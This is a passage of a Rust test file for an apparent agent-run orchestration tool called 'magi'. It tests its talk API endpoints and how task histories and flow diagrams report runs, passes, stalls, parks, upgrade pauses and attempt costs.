16688 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16689 assert_eq!(closed.status, 200, "{}", closed.body);
16690 assert_eq!(closed.json()["status"], "closed");
16691 }
16692
16693 #[tokio::test]
16694 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
16695 let (_tmp, _repo, f) = talk_fixture().await;
16696 let id = f.post("/api/talks", None).await.json()["id"]
16697 .as_str()
16698 .expect("id")
16699 .to_owned();
16700 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
16701 assert_eq!(closed.status, 200, "{}", closed.body);
16702
16703 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16704 assert_eq!(reopened.status, 200, "{}", reopened.body);
16705 assert_eq!(reopened.json()["status"], "open");
16706
16707 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
16709 assert_eq!(reopened_again.status, 200);
16710 assert_eq!(reopened_again.json()["status"], "open");
16711
16712 let said = f
16713 .post(
16714 &format!("/api/talks/{id}/say"),
16715 Some(r#"{"text":"still there?"}"#),
16716 )
16717 .await;
16718 assert_eq!(
16719 said.status, 202,
16720 "a reopened talk accepts turns again: {}",
16721 said.body
16722 );
16723 }
16724
16725 #[tokio::test]
16726 async fn talk_reopen_on_an_unknown_id_is_404() {
16727 let f = Fixture::start().await;
16728 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
16729 assert_eq!(res.status, 404, "{}", res.body);
16730 }
16731
16732 #[tokio::test]
16733 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
16734 let f = Fixture::start().await;
16735 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
16736
16737 let deleted = f.delete(&format!("/api/talks/{id}")).await;
16738 assert_eq!(deleted.status, 204, "{}", deleted.body);
16739
16740 let after = f.get(&format!("/api/talks/{id}")).await;
16741 assert_eq!(after.status, 404, "{}", after.body);
16742
16743 let listed = f.get("/api/talks").await.json();
16744 assert!(
16745 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
16746 "a deleted talk must not linger in the list: {listed}"
16747 );
16748 }
16749
16750 #[tokio::test]
16751 async fn talk_delete_on_an_unknown_id_is_404() {
16752 let f = Fixture::start().await;
16753 let res = f.delete("/api/talks/nonexistent-id").await;
16754 assert_eq!(res.status, 404, "{}", res.body);
16755 }
16756
16757 #[tokio::test]
16761 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
16762 let f = Fixture::start().await;
16763 let (a, b, gone) = (
16764 "20260902-140501-aaaa",
16765 "20260902-140502-bbbb",
16766 "20260902-140503-cccc",
16767 );
16768 write_run(&f.runs(), a, RunStatus::Stalled);
16769 let mut review = RunState::new(
16770 PathBuf::from("/repo/magi"),
16771 "main".to_owned(),
16772 "0123456789abcdef".to_owned(),
16773 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
16774 .to_owned(),
16775 Config::default(),
16776 );
16777 review.id = b.to_owned();
16778 review.status = RunStatus::Merged;
16779 write_state(&f.runs(), &review);
16780
16781 let mut task = Task::new(
16782 "retry".to_owned(),
16783 "Do the thing".to_owned(),
16784 PathBuf::from("/repo/magi"),
16785 Source::Human,
16786 );
16787 task.start(a.to_owned());
16788 task.stall("quota");
16789 task.start(a.to_owned());
16790 task.start(b.to_owned());
16791 task.start(gone.to_owned());
16792 task.runs = [a, a, b, gone].map(str::to_owned).to_vec();
16794 f.queue().put(&mut task).expect("file the task");
16795
16796 let res = f.get(&format!("/api/queue/{}", task.id)).await;
16797 assert_eq!(res.status, 200, "{}", res.body);
16798 let v = res.json();
16799 let h = v["history"].as_array().expect("history");
16800 assert_eq!(h.len(), 4, "{v}");
16801 assert_eq!(h[0]["kind"], "competition");
16802 assert_eq!(h[0]["status"], "stalled");
16803 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
16804 assert_eq!(h[1]["kind"], "resume", "{v}");
16805 assert!(
16806 h[0]["outcome"]
16807 .as_str()
16808 .unwrap()
16809 .contains("unknown. Pass #2"),
16810 "an earlier pass of a resumed run must not claim the final outcome: {v}"
16811 );
16812 assert!(
16813 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
16814 "{v}"
16815 );
16816 assert!(
16817 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
16818 "an unrecorded cause must not be narrated as an operator park: {v}"
16819 );
16820 assert_eq!(h[2]["kind"], "review");
16821 assert!(
16822 h[2]["description"]
16823 .as_str()
16824 .unwrap()
16825 .contains("magi/aaaa/A")
16826 );
16827 assert_eq!(h[2]["status"], "merged");
16828 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
16829 assert_eq!(v["runs_unreadable"], 1);
16830 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
16831 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
16832 assert_eq!(nodes[4]["note"], "unreadable");
16833 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
16834 assert_eq!(v["instruction"], "Do the thing");
16835 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
16836
16837 let run = f.get(&format!("/api/runs/{a}")).await.json();
16839 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
16840
16841 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
16842 }
16843
16844 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
16845 let mut s = RunState::new(
16846 PathBuf::from("/repo/magi"),
16847 "main".to_owned(),
16848 "0123456789abcdef".to_owned(),
16849 "Do it".to_owned(),
16850 Config::default(),
16851 );
16852 s.status = status;
16853 edit(&mut s);
16854 s
16855 }
16856
16857 fn flow_task(runs: &[&str]) -> Task {
16858 let mut t = Task::new(
16859 "t".to_owned(),
16860 "Do it".to_owned(),
16861 PathBuf::from("/repo/magi"),
16862 Source::Human,
16863 );
16864 for r in runs {
16865 t.start((*r).to_owned());
16866 }
16867 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16869 t
16870 }
16871
16872 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16873 let h = task_history(task, |id| {
16874 states
16875 .iter()
16876 .find(|(i, _)| *i == id)
16877 .and_then(|(_, s)| s.clone())
16878 });
16879 task_flow(task, &h, 5, None)
16880 }
16881
16882 #[test]
16883 fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16884 let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16885 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16886 let first = "2026-10-10T02:00:00Z".parse().unwrap();
16887 let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16888 let held = "2026-10-10T04:00:00Z".parse().unwrap();
16889 let run = flow_run(RunStatus::Implementing, |s| {
16890 s.created_at = created;
16891 s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16892 s.passes[0].started_at = first;
16893 s.passes[1].started_at = resumed;
16894 });
16895 let mut task = flow_task(&[RUN_X, RUN_X]);
16896 task.created_at = queued;
16897 task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16898 task.status = TaskStatus::Held;
16899 task.held_at = Some(held);
16900 let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16901 assert_eq!(
16902 flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16903 vec![Some(queued), Some(first), Some(resumed), Some(held)]
16904 );
16905 assert!(flow.nodes.iter().all(|n| n.time_expected));
16906 let json = serde_json::to_value(&flow).unwrap();
16907 assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16908 assert_eq!(json["nodes"][2]["time_expected"], true);
16909 }
16910
16911 #[test]
16912 fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16913 let created = "2026-10-10T01:00:00Z".parse().unwrap();
16914 let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16915 let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16916 task.held_at = Some(created);
16918 task.blocked_at = Some(created);
16919 for status in [
16920 TaskStatus::Queued,
16921 TaskStatus::Running,
16922 TaskStatus::Blocked,
16923 TaskStatus::Done,
16924 TaskStatus::Failed,
16925 TaskStatus::Parked,
16926 TaskStatus::Held,
16927 ] {
16928 task.status = status;
16929 if status == TaskStatus::Held {
16930 task.held_at = None;
16931 }
16932 let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16933 assert_eq!(flow.nodes[1].started_at, Some(created));
16934 assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16935 assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16936 assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16937 let json = serde_json::to_value(&flow).unwrap();
16938 assert!(json["nodes"][3]["started_at"].is_null());
16939 assert_eq!(json["nodes"][3]["time_expected"], true);
16940 }
16941 }
16942
16943 #[test]
16944 fn flow_context_links_do_not_expect_start_times() {
16945 let mut task = flow_task(&[]);
16946 task.source = Source::Agent {
16947 run: "chat-id".to_owned(),
16948 node: "chat".to_owned(),
16949 };
16950 let origin = followup_origin(&fu(None), |_| None, |_| None);
16951 let flow = task_flow(&task, &[], 5, Some(&origin));
16952 for node in &flow.nodes[..2] {
16953 assert!(!node.time_expected);
16954 assert_eq!(node.started_at, None);
16955 }
16956 assert!(flow.nodes[2].time_expected);
16957 }
16958
16959 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16960 crate::queue::FollowUp {
16961 run: "20260901-000000-aaaa".to_owned(),
16962 origin_task: origin_task.map(str::to_owned),
16963 pr: "https://example.com/o/r/pull/1".to_owned(),
16964 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16965 .map(str::to_owned)
16966 .to_vec(),
16967 generation: 1,
16968 }
16969 }
16970
16971 fn parent_task() -> Task {
16972 let mut p = flow_task(&[]);
16973 p.title = "Parent title".to_owned();
16974 p.status = TaskStatus::Done;
16975 p
16976 }
16977
16978 #[test]
16979 fn flow_opens_with_the_parent_task_of_a_followup() {
16980 let p = parent_task();
16981 let pid = p.id.clone();
16982 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16983 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16984 let n = &f.nodes[0];
16985 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16986 assert_eq!(
16987 n.label,
16988 format!("Follow-up of {}", crate::queue::short(&pid))
16989 );
16990 assert_eq!(n.detail.as_deref(), Some("Parent title"));
16991 assert_eq!(n.status, Some("done"));
16992 assert_eq!(n.status_of, "task");
16993 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16994 assert_eq!(f.nodes[1].key, "start");
16995 assert_eq!(f.edges[0].from, "origin");
16996 assert_eq!(
16997 f.edges[0].label,
16998 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16999 );
17000 }
17001
17002 #[test]
17003 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
17004 let o = followup_origin(
17005 &fu(Some("gone")),
17006 |_| None,
17007 |_| {
17008 Some(RunState::new(
17009 std::path::PathBuf::from("."),
17010 "main".to_owned(),
17011 "0".to_owned(),
17012 "t".to_owned(),
17013 crate::config::Config::default(),
17014 ))
17015 },
17016 );
17017 assert!(o.parent.is_none());
17018 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17019 let n = &f.nodes[0];
17020 assert_eq!(n.status_of, "run");
17021 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
17022 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
17023 }
17024
17025 #[test]
17026 fn flow_followup_with_nothing_readable_has_no_link() {
17027 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
17028 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
17029 let n = &f.nodes[0];
17030 assert_eq!(n.href, None);
17031 assert_eq!(n.note, Some("unreadable"));
17032 assert!(!n.readable);
17033 }
17034
17035 #[test]
17036 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
17037 let o = followup_origin(&fu(None), |_| None, |_| None);
17038 let mut t = flow_task(&[]);
17039 t.origin_chat = Some("c1".to_owned());
17040 let f = task_flow(&t, &[], 5, Some(&o));
17041 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
17042 t.source = Source::Agent {
17043 run: "c1".to_owned(),
17044 node: crate::queue::CHAT_NODE.to_owned(),
17045 };
17046 let f = task_flow(&t, &[], 5, Some(&o));
17047 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
17048 assert_eq!(
17049 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
17050 ("chat", "origin")
17051 );
17052 }
17053
17054 #[test]
17055 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
17056 let mut p = parent_task();
17057 p.id = "a b/c".to_owned();
17058 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
17059 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
17060 }
17061
17062 #[test]
17063 fn flow_opens_with_the_chat_that_queued_the_task() {
17064 let mut t = flow_task(&[]);
17065 t.source = Source::Agent {
17066 run: "a b/c".to_owned(),
17067 node: crate::queue::CHAT_NODE.to_owned(),
17068 };
17069 let f = flow_for(&t, &[]);
17070 assert_eq!(f.nodes[0].key, "chat");
17071 assert_eq!(f.nodes[0].kind, "chat");
17072 assert_eq!(
17073 f.nodes[0].label,
17074 format!("Chat {}", crate::queue::short("a b/c"))
17075 );
17076 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
17077 assert_eq!(f.nodes[1].key, "start");
17078 assert_eq!(
17079 f.edges[0],
17080 FlowEdge {
17081 from: "chat".to_owned(),
17082 to: "start".to_owned(),
17083 label: "queued from chat".to_owned(),
17084 attempt: AttemptCost::None,
17085 }
17086 );
17087 }
17088
17089 #[test]
17090 fn flow_has_no_chat_box_for_other_sources() {
17091 for source in [
17092 Source::Human,
17093 Source::Issue {
17094 number: 3,
17095 repo: "o/r".to_owned(),
17096 },
17097 Source::Agent {
17098 run: "20260904-014455-ab12".to_owned(),
17099 node: "implement".to_owned(),
17100 },
17101 ] {
17102 let mut t = flow_task(&[]);
17103 t.source = source;
17104 let f = flow_for(&t, &[]);
17105 assert_eq!(f.nodes[0].key, "start");
17106 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
17107 assert!(f.edges.iter().all(|e| e.from != "chat"));
17108 }
17109 }
17110
17111 const FA: &str = "20260902-140501-aaaa";
17112 const FB: &str = "20260902-140502-bbbb";
17113
17114 #[test]
17115 fn flow_follows_blocked_retry_merged_to_done() {
17116 let mut t = flow_task(&[FA, FB]);
17117 t.status = TaskStatus::Done;
17118 let f = flow_for(
17119 &t,
17120 &[
17121 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
17122 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17123 ],
17124 );
17125 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17126 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17127 assert_eq!(f.edges.len(), 3);
17128 assert_eq!(f.edges[0].label, "claimed");
17129 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17130 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17131 assert_eq!(f.edges[2].label, "merged \u{2192} done");
17132 assert_eq!(
17133 f.nodes[2].href.as_deref(),
17134 Some("#/runs/20260902-140502-bbbb")
17135 );
17136 assert!(f.nodes[2].decided);
17137 }
17138
17139 #[test]
17140 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17141 let quota = || {
17142 flow_run(RunStatus::Stalled, |s| {
17143 s.quota.push(crate::run::QuotaLoss {
17144 cause: crate::agent::QuotaCause::UsageLimit,
17145 agent: String::new(),
17146 seat: "judge-1".to_owned(),
17147 node: "judge".to_owned(),
17148 at: Timestamp::now(),
17149 reset: None,
17150 })
17151 })
17152 };
17153 let mut t = flow_task(&[FA, FA]);
17154 t.status = TaskStatus::Queued;
17155 let f = flow_for(&t, &[(FA, Some(quota()))]);
17156 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17157 assert_eq!(f.nodes[1].note, Some("interrupted"));
17158 assert_eq!(
17159 f.nodes[1].status, None,
17160 "no outcome copied onto an earlier pass"
17161 );
17162 assert_eq!(
17163 f.edges[1].attempt,
17164 AttemptCost::Unknown,
17165 "a resume does not prove the earlier pass was refunded"
17166 );
17167 assert!(f.edges[1].label.contains("resume the same run"));
17168 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17169 assert_eq!(
17170 f.edges[2].label,
17171 "stalled after a resume, refund unknown \u{2192} queued"
17172 );
17173 assert!(!f.nodes[2].decided, "a stall is not a decision");
17174 assert_eq!(f.nodes[2].note, Some("no verdict"));
17175 }
17176
17177 #[test]
17178 fn flow_single_pass_quota_stall_is_refunded() {
17179 let t = flow_task(&[FA]);
17180 let f = flow_for(
17181 &t,
17182 &[(
17183 FA,
17184 Some(flow_run(RunStatus::Stalled, |s| {
17185 s.quota.push(crate::run::QuotaLoss {
17186 cause: crate::agent::QuotaCause::UsageLimit,
17187 agent: String::new(),
17188 seat: "judge-1".to_owned(),
17189 node: "judge".to_owned(),
17190 at: Timestamp::now(),
17191 reset: None,
17192 })
17193 })),
17194 )],
17195 );
17196 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17197 }
17198
17199 #[test]
17200 fn flow_parked_refunds_and_stall_without_quota_spends() {
17201 let mut t = flow_task(&[FA]);
17202 t.status = TaskStatus::Queued;
17203 let f = flow_for(
17204 &t,
17205 &[(
17206 FA,
17207 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17208 )],
17209 );
17210 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17211 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17212 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17213 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17214 assert!(!f.nodes[1].decided);
17215 }
17216
17217 #[test]
17218 fn flow_keeps_an_unreadable_run_as_its_own_node() {
17219 let t = flow_task(&[FA, FB]);
17220 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17221 assert_eq!(f.nodes[1].note, Some("unreadable"));
17222 assert!(!f.nodes[1].readable);
17223 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17224 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17225 }
17226
17227 #[test]
17228 fn flow_names_the_branch_of_a_review_only_run() {
17229 let t = flow_task(&[FA]);
17230 let f = flow_for(
17231 &t,
17232 &[(
17233 FA,
17234 Some(flow_run(RunStatus::Merged, |s| {
17235 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17236 })),
17237 )],
17238 );
17239 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17240 assert_eq!(
17241 f.nodes[1].detail.as_deref(),
17242 Some("review-only run of branch magi/x/A")
17243 );
17244 }
17245
17246 #[test]
17247 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17248 let mut t = flow_task(&[FA]);
17249 t.status = TaskStatus::Held;
17250 let pr = crate::run::PrRecord {
17251 url: "https://example.test/pr/1".to_owned(),
17252 number: 1,
17253 state: "open".to_owned(),
17254 checks: "green".to_owned(),
17255 round: 0,
17256 rounds: 3,
17257 red_at_merge: Vec::new(),
17258 };
17259 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17260 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17261 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17262 t.status = TaskStatus::Done;
17263 let f = flow_for(&t, &[(FA, Some(blocked))]);
17264 assert_eq!(f.edges[1].label, "closed by hand: task is done");
17265 }
17266
17267 #[test]
17268 fn flow_with_no_runs_goes_from_queued_to_queued() {
17269 let t = flow_task(&[]);
17270 let f = flow_for(&t, &[]);
17271 assert_eq!(f.nodes.len(), 2);
17272 assert_eq!(f.edges.len(), 1);
17273 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17274 assert_eq!(f.edges[0].attempt, AttemptCost::None);
17275 }
17276
17277 #[test]
17280 fn a_parked_non_terminal_run_is_explained_as_parked() {
17281 let mut s = RunState::new(
17282 PathBuf::from("/repo/magi"),
17283 "main".to_owned(),
17284 "0123456789abcdef".to_owned(),
17285 "Do it".to_owned(),
17286 Config::default(),
17287 );
17288 s.status = RunStatus::Implementing;
17289 s.parked = true;
17290 let task = Task::new(
17291 "t".to_owned(),
17292 "Do it".to_owned(),
17293 PathBuf::from("/repo/magi"),
17294 Source::Human,
17295 );
17296 let v = task_run_view(
17297 "20260902-140501-aaaa",
17298 Some(&s),
17299 RunSlot {
17300 n: 1,
17301 resumed: false,
17302 resumed_later: None,
17303 prior: None,
17304 last: true,
17305 ..RunSlot::default()
17306 },
17307 &task,
17308 );
17309 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17310 }
17311
17312 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17313 let mut s = flow_run(RunStatus::Implementing, edit);
17314 s.parked = false;
17315 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17316 task_run_view(
17317 "20260902-140501-aaaa",
17318 Some(&s),
17319 RunSlot {
17320 n: 1,
17321 resumed: false,
17322 resumed_later: Some(2),
17323 prior: None,
17324 last: false,
17325 ..RunSlot::default()
17326 },
17327 &task,
17328 )
17329 }
17330
17331 #[test]
17332 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17333 let v = earlier_pass_view(|_| {});
17334 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17335 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17336 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17337 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17338 assert_eq!(v.exit, RunExit::Interrupted);
17339 assert_eq!(v.attempt, AttemptCost::Unknown);
17340 }
17341
17342 #[test]
17343 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17344 let v = earlier_pass_view(|s| {
17345 s.quota.push(crate::run::QuotaLoss {
17346 cause: crate::agent::QuotaCause::UsageLimit,
17347 agent: String::new(),
17348 seat: "judge-1".to_owned(),
17349 node: "judge".to_owned(),
17350 at: Timestamp::now(),
17351 reset: None,
17352 });
17353 });
17354 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17355 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17356 assert_eq!(v.attempt, AttemptCost::Unknown);
17357 }
17358
17359 #[test]
17360 fn the_current_pass_states_its_recorded_cause_and_cost() {
17361 let slot = || RunSlot {
17362 n: 1,
17363 resumed: false,
17364 resumed_later: None,
17365 prior: None,
17366 last: true,
17367 ..RunSlot::default()
17368 };
17369 let task = flow_task(&["20260902-140501-aaaa"]);
17370 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
17371 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
17372 assert_eq!(
17373 (v.exit, v.attempt),
17374 (RunExit::Parked, AttemptCost::Refunded)
17375 );
17376 let spent = flow_run(RunStatus::Blocked, |_| {});
17377 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
17378 assert_eq!(v.attempt, AttemptCost::Spent);
17379 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
17380 }
17381
17382 fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
17383 crate::run::RunPass {
17384 index,
17385 started_at: Timestamp::now(),
17386 resumed: index > 0,
17387 ended_at: end.as_ref().map(|_| Timestamp::now()),
17388 end,
17389 task_entry: true,
17390 }
17391 }
17392
17393 fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
17394 Some(crate::run::PassEnd::Parked { cause })
17395 }
17396
17397 fn upgrade_cause() -> crate::run::ParkCause {
17398 crate::run::ParkCause::Upgrade {
17399 from: "0.121.0".to_owned(),
17400 to: Some("0.121.1".to_owned()),
17401 }
17402 }
17403
17404 fn settled_pass(
17405 run: &str,
17406 index: usize,
17407 cost: crate::queue::PassCost,
17408 ) -> crate::queue::TaskPass {
17409 crate::queue::TaskPass {
17410 run: run.to_owned(),
17411 pass_index: index,
17412 started_at: None,
17413 cost,
17414 attempts_after: 1,
17415 settled_at: Timestamp::now(),
17416 parked: None,
17417 }
17418 }
17419
17420 const RUN_X: &str = "20261011-223708-4334";
17421
17422 #[test]
17423 fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17424 use crate::queue::PassCost;
17425 let run = flow_run(RunStatus::Implementing, |s| {
17426 s.passes = vec![
17427 recorded_pass(0, parked(upgrade_cause())),
17428 recorded_pass(1, None),
17429 ];
17430 });
17431 let mut task = flow_task(&[RUN_X, RUN_X]);
17432 task.attempts = 1;
17433 task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17434 let h = task_history(&task, |_| Some(run.clone()));
17435 assert_eq!(h.len(), 2);
17436 assert_eq!(h[0].kind, "competition");
17437 assert_eq!(h[1].kind, "resume");
17438 assert_eq!(
17439 (h[0].exit, h[0].attempt),
17440 (RunExit::Parked, AttemptCost::Refunded)
17441 );
17442 assert!(
17443 h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17444 "{}",
17445 h[0].outcome
17446 );
17447 assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17448 assert!(
17449 h[0].outcome.contains("pass #2 resumed the same run"),
17450 "{}",
17451 h[0].outcome
17452 );
17453 assert!(
17454 h[0].outcome.contains("pass 1 of 2 over run"),
17455 "{}",
17456 h[0].outcome
17457 );
17458 assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17459 assert_eq!(
17460 h[0].exit_label,
17461 "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17462 );
17463 let f = task_flow(&task, &h, 2, None);
17464 assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17466 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17467 assert!(
17468 f.edges[1].label.contains("upgrade 0.121.0"),
17469 "{}",
17470 f.edges[1].label
17471 );
17472 assert!(
17473 f.edges[1].label.contains("resume the same run"),
17474 "{}",
17475 f.edges[1].label
17476 );
17477 assert_eq!(f.nodes[1].note, Some("parked"));
17478 }
17479
17480 #[test]
17481 fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17482 let mut a = flow_run(RunStatus::Implementing, |s| {
17483 s.passes = vec![
17484 recorded_pass(0, parked(upgrade_cause())),
17485 recorded_pass(1, None),
17486 ];
17487 });
17488 let mut b = flow_run(RunStatus::Failed, |s| {
17489 s.passes = vec![recorded_pass(0, None)];
17490 });
17491 a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17492 b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17493 a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17494 let mut task = flow_task(&[]);
17495 task.start("a".into());
17496 task.start("b".into());
17497 task.start("a".into());
17498 assert_eq!(task.runs, ["b", "a"]);
17499 task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17500 let h = task_history(&task, |id| {
17501 Some(if id == "a" { a.clone() } else { b.clone() })
17502 });
17503 assert_eq!(
17504 h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17505 ["a", "b", "a"]
17506 );
17507 assert_eq!(h[0].attempt, AttemptCost::Refunded);
17508 assert!(h[0].outcome.contains("upgrade"));
17509 assert_eq!(h[2].kind, "resume");
17510 assert!(h[2].pass.is_some());
17511 task.runs = vec!["a".into(), "b".into(), "a".into()];
17513 let old = task_history(&task, |id| {
17514 Some(if id == "a" { a.clone() } else { b.clone() })
17515 });
17516 assert_eq!(
17517 old.iter()
17518 .map(|v| (&v.id, &v.kind, v.attempt))
17519 .collect::<Vec<_>>(),
17520 h.iter()
17521 .map(|v| (&v.id, &v.kind, v.attempt))
17522 .collect::<Vec<_>>()
17523 );
17524 }
17525
17526 #[test]
17527 fn an_upgrade_whose_target_was_not_known_says_so() {
17528 let run = flow_run(RunStatus::Implementing, |s| {
17529 s.passes = vec![
17530 recorded_pass(
17531 0,
17532 parked(crate::run::ParkCause::Upgrade {
17533 from: "0.121.0".to_owned(),
17534 to: None,
17535 }),
17536 ),
17537 recorded_pass(1, None),
17538 ];
17539 });
17540 let task = flow_task(&[RUN_X, RUN_X]);
17541 let h = task_history(&task, |_| Some(run.clone()));
17542 assert!(
17543 h[0].outcome.contains("upgrade from 0.121.0"),
17544 "{}",
17545 h[0].outcome
17546 );
17547 assert_eq!(h[0].attempt, AttemptCost::Unknown);
17549 }
17550
17551 #[test]
17552 fn each_pass_keeps_its_own_cause_across_several_resumes() {
17553 use crate::queue::PassCost;
17554 use crate::run::ParkCause;
17555 let run = flow_run(RunStatus::Implementing, |s| {
17556 s.passes = vec![
17557 recorded_pass(0, parked(upgrade_cause())),
17558 recorded_pass(
17559 1,
17560 parked(ParkCause::Interrupt {
17561 reason: "task a1b2 asked to run first".to_owned(),
17562 }),
17563 ),
17564 recorded_pass(2, parked(ParkCause::Operator)),
17565 recorded_pass(3, None),
17566 ];
17567 });
17568 let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17569 task.attempts = 1;
17570 task.passes = (0..3)
17571 .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17572 .collect();
17573 let h = task_history(&task, |_| Some(run.clone()));
